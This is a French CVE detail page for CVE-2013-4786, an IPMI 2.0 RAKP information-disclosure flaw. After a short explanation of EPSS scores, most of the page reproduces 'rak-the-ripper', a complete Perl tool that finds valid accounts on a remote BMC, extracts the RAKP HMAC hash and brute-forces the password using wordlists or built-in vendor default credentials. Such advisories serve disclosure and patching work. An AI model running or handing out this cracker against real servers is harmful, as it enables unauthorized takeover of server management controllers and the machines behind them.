CVE-2013-4786 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/61076/info Intelligent Platform Management Interface is prone to an information-disclosure vulnerability. Attackers can exploit this issue to obtain sensitive information that may aid password guessing attacks. Intelligent Platform Management Interface 2.0 is vulnerable; other versions may also be affected. #!/usr/bin/env perl # # Usage: rak-the-ripper [options] target # # dan/[email protected] - 6/19/2013 # # Special thanks to Jarrod B Johnson (<[email protected]>), whose # implemention of RAKP for the xCAT project (http://xcat.sourceforge.net/) # was instrumental to furthering my understanding of the issue. # # # Remote IPMi password cracker; uses the RAKP 2 protocol to guess passwords # from a remote BMC. No account or information needed. # # Options: # # -d Debug... let it all out # -i inform... every N guesses print out a status-y line # -n num-guesses sets N for -i option -p/path/to/words Use a file of # passwords to guess, 1 per line -P password Use a specific password # -u/path/to/users Use a file of users to guess, 1 per line -U # specific-user Use a specific user, don't guess -v Verbose -version # Print version # # # Explanation: # # IPMI v2, when using the RAKP protocol, uses HMAC hashes for authentication # (see page 162 of the IPMI 2.0 spec for more details.) # # Three factors are of interest here: # # 1) You can test if an account exists (RAKP will generate a recognizable error # if not.) # 2) IPMI will return a (supposedly) globally unique number for a BMC. This is # a potentially really interesting thing - identity of a system on a network # is a very difficult problem. Unfortunately it looks like many vendors # don't implement this correctly... not sure if all 0's (a common value) # afects the strength of the HMAC, but...? # 3) You get to extract the HMAC hash - and then run a password cracker on it. # Pretty interesting....! # # To start a RAKP session you can use the fine ipmitool utility (the "lanplus" # argument here forces IPMI 2.0): # # ipmitool -I lanplus -v -v -v -U ADMIN -P fluffy-wuffy -H 192.168.0.69 chassis identify # # This kicks off a back-n-forth sequence with a remote BMC; for instance, on my iMac, # it looks like this: # # client (iMac) BMC ------------- ---- 1 get channel auth # 2 response 3 RMCP+ open session request 4 open session # response 5 RAKP message 1 6 RAKP message 2 # # It's in step 6 that you get the HMAC hash needed to fill in the details. # Fortunately ipmitool gives you all you need. # # You may simply parse the verbose ipmitool output, which at one point will emit # something that looks like: # # >> rakp2 mac input buffer (63 bytes) # a4 a3 a2 a0 4c 7f fb df ec a4 a3 96 b1 d0 7e 27 cd ef 32 ae 66 cf # 87 b9 aa 3e 97 ed 5d 39 77 4b bc 8a c5 a9 e2 da 1d d9 35 30 30 31 # 4d 53 00 00 00 00 00 00 00 00 00 00 14 05 41 44 4d 49 4e # # these bytes are, in order, the session IDs of the remote console & managed system, # the remote console's random number, the managed system's random number, # the managed system's GUID, the priv level, the length of the user name, # and finally the user name. # # You simply take the HMAC of that and the password (or password guess!) # and compare it with the key exchange auth code that the BMC has sent you. # # << Key exchange auth code [sha1] : 0xede8ec3caeb235dbad1210ef985b1b19cdb40496 # # Default Users: 'admin', 'USERID', 'root', 'Administrator', 'ADMIN' # Default Passwords: 'PASSW0RD', 'admin', 'calvin', 'changeme', 'opensource', 'password' use Time::HiRes; use IO::CaptureOutput qw/capture_exec/; use Digest::SHA qw(hmac_sha1_hex); use Getopt::Long qw(:config no_ignore_case); sub main::VERSION_MESSAGE { print "$0 0.0.1\n"; exit; }; sub main::HELP_MESSAGE { print "Usage: $0 [options] target\n". "\t-d\t\t\tDebug... print words as they're being guessed\n". "\t-i\t\t\tinform... every N guesses print out a status-y line\n". "\t-n num-guesses\t\tsets N for -i option\n". "\t-p /path/to/words\tUse a file of passwords to guess, 1 per line\n". "\t-P password\t\tUse a specific password \n". "\t-u /path/to/users\tUse a file of users to guess, 1 per line\n". "\t-U specific-user\tUse a specific user, don't guess\n". "\t-v\t\t\tVerbose\n". "\t-version\t\tPrint version #\n"; exit; }; GetOptions( 'd' => \$debug, 'h' => \$help, 'help' => \$help, 'i' => \$inform, 'inform' => \$inform, 'n=i' => \$Nguesses, 'p=s' => \$password_file, 'P=s' => \@guesses, 'u=s' => \$user_file, 'U=s' => \@users, 'v' => \$verbose, 'version' => \$version ) || die main::HELP_MESSAGE(); # # process command line arg stuff # die main::HELP_MESSAGE() if (defined($help)); # the target, specified on command line $target = $ARGV[0]; die main::HELP_MESSAGE() if ($target eq ""); # this can take awhile to finish... print "Started at " . `date` if $verbose; # anything > 0 and <= 20 characters would work here; ipmitool simply needs something $pass = "fluffy-wuffy-bunny!!"; # # Need some passwords to guess... either from file or some defaults I made up # Not going to cache these since they can blow up my poor mac's memory... feel # free to change it ;) # if (! defined(@guesses)) { if ($password_file ne "") { open(PASSWORDS, $password_file) || die "can't open user file $password_file\n"; print "opening password file $password_file\n" if $verbose; } else { print "using default passwords\n" if $verbose; @guesses = ('PASSW0RD', 'admin', 'calvin', 'changeme', 'opensource', 'password'); } } # # need to know account name... either from file or some defaults I made up # if (! defined(@users)) { if ($user_file ne "") { open(ACCOUNTS, $user_file) || die "can't open user file $user_file\n"; print "getting list of users from $user_file\n" if $verbose; @users = <ACCOUNTS>; chomp(@users); close(ACCOUNTS); } else { @users = ('admin', 'ADMIN', 'USERID', 'root', 'Administrator'); print "using default user list\n" if $verbose; } } # # a tiny subroutine to chow down on possible guesses # sub guesswork() { print "\t$guess...\n" if $debug; if ($inform) { print "\t$n guesses (so far)...\n" if (! ($n % $Nguesses)); } $guess_suffix = ""; $guess_suffix = "ses" if $n > 1; # $stuff = pack 'C*', map hex, @input; print # hmac_sha1_hex($stuff,$pass) . "\n"; print "... 0x" . # hmac_sha1_hex($stuff,$guess) . "\n"; if ("0x" . hmac_sha1_hex($stuff,$guess) eq $hashy) { print "...cracked in $n guess$guess_suffix...\n\nPassword for $user is $guess\n\n"; $cracked = 1; return 1; } $n++; return(0); } # # look for a user, any user... RAKP will gripe if it's not valid # for $user (@users) { print("\tprobing $target for $user...\n") if $verbose; # chassis id starts up the RP machinery @icmd = ("ipmitool", "-I", "lanplus", "-v","-v","-v","-v", "-U", "$user", "-P", "$pass", "-H", "$target", "chassis", "identify"); ($stdout, $stderr, $success, $exit) = capture_exec( @icmd ); # # grabbing two things - the input to calculate the hash, and the hash itself. # but first... hunt for a valid user on the BMC. # if ($stdout =~ /RMCP\+ status\s+:\s+unauthorized name/) { next; } elsif ($stdout =~ /RMCP\+ status\s+:\s+insufficient resources for session/) { print "interesting... insufficient resources... try again?\n" if $verbose; next; } elsif ($stdout =~ /^\s*$/) { next; } # kill the leading whitespace & newlines... hash is in stdout, input data in stderr $stderr =~ s/\n//gs; $stdout =~ s/\n//gs; $name_found = 1; print "Found valid user: $user\n" if $verbose; # after this, no need to continue with other users @users = (); # << Key exchange auth code [sha1] : 0x6e5d0a121e13fa8f73bfc2da15f7b012382f6be9 ($hashy = $stdout) =~ m/^.*<< Key exchange auth code \[sha1\] : ([^\s]+).*$/m; $hashy = $1; if ($hashy eq "") { print "couldn't find an auth code, skipping\n"; next; } ($input = $stderr) =~ m/^.*>> rakp2 mac input buffer \(\d+ bytes\) ([^>]+)>>.*$/m; $input = $1; if ($input eq "") { print "couldn't find data to HMAC, skipping\n"; next; } # stuff it into binary form $stuff = pack 'C*', map hex, split(/ /, $input); print "... searching for HMAC match for $user ($hashy)\n" if $verbose; $n = 1; $cracked = 0; # curiosity ;) $start = Time::HiRes::gettimeofday(); if (! defined(@guesses)) { while (($guess = <PASSWORDS>)) { chomp($guess); break if guesswork(); } close(PASSWORDS); } else { for $guess (@guesses) { break if guesswork(); } } } die "\nno valid accounts found\n" unless $name_found; print "$n passwords were tried\n" if $verbose; $end = Time::HiRes::gettimeofday(); $time = $end - $start; if ($verbose && $time > 0) { printf("time elapsed was ~ %.2f\n", $end - $start); $per_second = $n / $time; print "$n passwords were guessed, at the rate of $per_second per second\n"; }